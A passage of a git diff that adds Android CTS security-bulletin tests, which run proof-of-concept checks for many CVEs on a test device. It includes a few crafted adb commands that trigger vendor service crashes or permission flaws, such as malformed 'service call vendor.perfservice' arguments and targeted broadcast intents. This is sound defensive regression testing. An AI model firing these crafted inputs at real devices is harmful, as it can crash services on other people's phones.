+    public void testPocCVE_2018_5884() throws Exception {
+        String wfd_service = AdbUtils.runCommandLine(
+                "pm list package com.qualcomm.wfd.service", getDevice());
+        if (wfd_service.contains("com.qualcomm.wfd.service")) {
+            String result = AdbUtils.runCommandLine(
+                    "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
+            getDevice());
+            assertNotMatchesMultiLine("Broadcast completed", result);
+        }
+    }
+
+    /**
+     *  b/73172817
+     */
+    @Test
+    @SecurityTest
+    public void testPocCVE_2018_9344() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2018-9344", getDevice(),
+                "android\\.hardware\\.cas@\\d+?\\.\\d+?-service");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
new file mode 100644
index 0000000..172f0fc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_07 extends SecurityTestCase {
+
+   /**
+    * b/76221123
+    */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9424() throws Exception {
+        AdbUtils.runPocAssertNoCrashes(
+            "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
new file mode 100644
index 0000000..ef5b726
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_10 extends SecurityTestCase {
+
+    /**
+     *  b/111641492
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-10")
+    public void testPocCVE_2018_9515() throws Exception {
+        AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+        boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+        if (vulnerableBecauseCrashed) {
+            // wait for device to come online so we can clean up
+            getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+        }
+        AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+    }
+
+    /**
+     *  b/111274046
+     */
+    @Test
+    @SecurityTest
+    public void testPocCVE_2018_9490() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..0abe1bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_11 extends SecurityTestCase {
+
+    /**
+     *  b/113027383
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9539() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..5977b4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,18 +17,29 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
-import static org.junit.Assert.assertFalse;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc19_03 extends SecurityTestCase {
     /**
      * b/115739809
      */
+    @Test
     @SecurityTest(minPatchLevel = "2019-03")
     public void testPocBug_115739809() throws Exception {
         assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
+
+    /**
+     * b/116855682
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocCVE_2019_2025() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
new file mode 100644
index 0000000..fd3b638
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -0,0 +1,80 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_05 extends SecurityTestCase {
+
+    /**
+     * b/129556464
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2052() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/129556111
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2045() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /*
+     * b/129556718
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2047() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * CVE-2019-2257
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2257() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                                "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+        assertFalse(result.contains(
+                            "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+    }
+
+    /**
+     * b/117555811
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2051() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
new file mode 100644
index 0000000..67986fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_06 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-06")
+    public void testPocCVE_2019_2097() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
new file mode 100644
index 0000000..c2ce29d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_08 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testPocCVE_2019_2130() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..a79e2b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_11 extends SecurityTestCase {
+
+    /**
+     * b/138441919
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138441919() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/139806216
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_139806216() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+    /**
+     * CVE-2019-14002
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testPocCVE_2019_14002() throws Exception {
+        String result =
+                AdbUtils.runCommandLine(
+                        "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+        assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+    /**
+     * CVE-2020-3635
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3635() throws Exception {
+        String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+            AdbUtils.runCommandLine("logcat -c", getDevice());
+            AdbUtils.runCommandLine(
+                    "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+            String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+            assertNotMatchesMultiLine(
+                    "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+        }
+    }
+
+    /**
+     * CVE-2020-3626
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3626() throws Exception {
+        String isApplicable =
+                AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+        if (!isApplicable.isEmpty()) {
+            String result =
+                    AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+            assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+        }
+    }
+
+    /**
+     * CVE-2020-3628
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3628() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                "pm list package com.qualcomm.qti.logkit",getDevice());
+        assertFalse(result.contains("com.qualcomm.qti.logkit"));
+    }
+
+    /**
+     * CVE-2020-3676
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3676() throws Exception {
+        String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+            AdbUtils.runCommandLine("logcat -c", getDevice());
+            AdbUtils.runCommandLine(
+                    "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+            AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..cfa53ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+    /**
+     * b/162741784
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testPocCVE_2020_0437() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runCommandLine(
+            "am broadcast " +
+            "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+            "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+            "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+            getDevice());
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..fe8c239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+    private ITestDevice device = null;
+    private CompatibilityBuildHelper buildHelper = null;
+    private IAbi abi = null;
+
+    private Set<String> filesToCleanup = new HashSet();
+    public boolean bitness32 = true;
+    public boolean bitness64 = true;
+    public boolean appendBitness = true;
+    public boolean cleanup = true;
+
+    @Override
+    protected void starting(Description d) {
+        bothBitness();
+        appendBitness = true;
+        cleanup = true;
+    }
+
+    @Override
+    protected void finished(Description d) {
+        for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+            String file = it.next();
+            try {
+                CLog.i("Cleaning up %s", file);
+                device.deleteFile(file);
+            } catch (DeviceNotAvailableException e) {
+                CLog.e("Device unavailable when cleaning up %s", file);
+                continue; // try to remove next time
+            }
+            it.remove();
+        }
+    }
+
+    public PocPusher setDevice(ITestDevice device) {
+        this.device = device;
+        return this;
+    }
+
+    public PocPusher setAbi(IAbi abi) {
+        this.abi = abi;
+        return this;
+    }
+
+    public PocPusher setBuild(IBuildInfo buildInfo) {
+        buildHelper = new CompatibilityBuildHelper(buildInfo);
+        return this;
+    }
+
+    public PocPusher appendBitness(boolean append) {
+        this.appendBitness = append;
+        return this;
+    }
+
+    public PocPusher cleanup(boolean cleanup) {
+        this.cleanup = cleanup;
+        return this;
+    }
+
+    public PocPusher only32() {
+        bitness32 = true;
+        bitness64 = false;
+        return this;
+    }
+
+    public PocPusher only64() {
+        bitness32 = false;
+        bitness64 = true;
+        return this;
+    }
+
+    public PocPusher bothBitness() {
+        bitness32 = true;
+        bitness64 = true;
+        return this;
+    }
+
+    public void pushFile(String testFile, String remoteFile)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        if (appendBitness) {
+            // if neither 32 or 64, nothing would ever be pushed.
+            assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+            String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+            // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+            assumeFalse(bitness.equals("32") && !bitness32);
+
+            // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+            if (bitness.equals("64") && !bitness64) {
+                bitness = "32";
+                CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+            }
+            testFile += bitness;
+        }
+        File localFile = buildHelper.getTestFile(testFile);
+        CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+        device.pushFile(localFile, remoteFile);
+        if (cleanup) {
+            filesToCleanup.add(remoteFile);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..9ce7e39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+    private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
+    private static final int WARNING_THRESHOLD = 1000; // 1 second
+    private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+    public static void assertContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, false);
+    }
+
+    public static void assertContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, true);
+    }
+
+    public static void assertNotContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, false);
+    }
+
+    public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, true);
+    }
+
+    private static void assertFind(
+            String pattern, String input, boolean shouldFind, boolean multiline) {
+        // The input string throws an error when used after the timeout
+        TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
+        Matcher matcher = null;
+        if (multiline) {
+            // DOTALL lets .* match line separators
+            // MULTILINE lets ^ and $ match line separators instead of input start and end
+            matcher = Pattern.compile(
+                    pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+        } else {
+            matcher = Pattern.compile(pattern).matcher(timedInput);
+        }
+
+        try {
+            long start = System.currentTimeMillis();
+            boolean found = matcher.find();
+            long duration = System.currentTimeMillis() - start;
+
+            if (duration > WARNING_THRESHOLD) {
+                // Provide a warning to the test developer that their regex should be optimized.
+                CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+            }
+
+            if (found && shouldFind) { // failed notContains
+                String substring = input.substring(matcher.start(), matcher.end());
+                String context = getInputContext(input, matcher.start(), matcher.end(),
+                        CONTEXT_RANGE, CONTEXT_RANGE);
+                fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+                        context + "...");
+            } else if (!found && !shouldFind) { // failed contains
+                fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+            }
+        } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
+            // regex match has taken longer than the timeout
+            // this usually means the input is extremely long or the regex is catastrophic
+            fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+        }
+    }
+
+    /*
+     * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+     * grep.
+     */
+    private static String getInputContext(String input, int start, int end, int before, int after) {
+        start = Math.max(0, start - before);
+        end = Math.min(input.length(), end + after);
+        return input.substring(start, end);
+    }
+
+    /*
+     * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+     * against the timeout. If the current time is greater than the expiration time, an exception is
+     * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+     */
+    private static class TimeoutCharSequence implements CharSequence {
+        long expireTime = 0;
+        CharSequence chars = null;
+
+        TimeoutCharSequence(CharSequence chars, long timeout) {
+            this.chars = chars;
+            expireTime = System.currentTimeMillis() + timeout;
+        }
+
+        @Override
+        public char charAt(int index) {
+            if (System.currentTimeMillis() > expireTime) {
+                throw new CharSequenceTimeoutException(
